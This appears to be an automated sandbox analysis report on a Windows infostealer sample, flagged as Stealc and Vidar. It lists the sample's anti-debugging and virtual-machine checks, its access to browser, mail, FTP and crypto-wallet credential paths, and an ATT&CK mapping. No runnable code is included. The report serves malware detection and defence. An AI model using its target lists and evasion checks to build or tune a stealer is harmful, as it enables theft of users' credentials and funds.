Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00ED4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ECDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00ECDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ECE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00ECE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00EC16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00ED3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ECF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00ECF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ECBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00ECBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00ED38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00ED4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ECED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00ECED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ECDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00ECDE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EC1160 GetSystemInfo,ExitProcess,

0_2_00EC1160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWv
Source: file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1861403334.0000000000AC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1861403334.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-14808
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13618
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13621
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13638
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13633
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13672

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EC45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00EC45C0

Source: C:\Users\user\Desktop\file.exe

0_2_00ED9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00ED9750 mov eax, dword ptr fs:[00000030h]

0_2_00ED9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00ED78E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00ED78E0

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7136, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00ED9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00ED9600

Source: file.exe, file.exe, 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: >]Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00ED7B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00ED7980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00ED7980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00ED7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00ED7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00ED7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00ED7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.ec0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1681670041.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1861403334.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7136, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7136, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.1861403334.0000000000AF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance\.finger-print.fp
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.1861403334.0000000000AD7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7136, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.ec0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1681670041.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1861403334.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7136, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7136, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	335 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	641 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
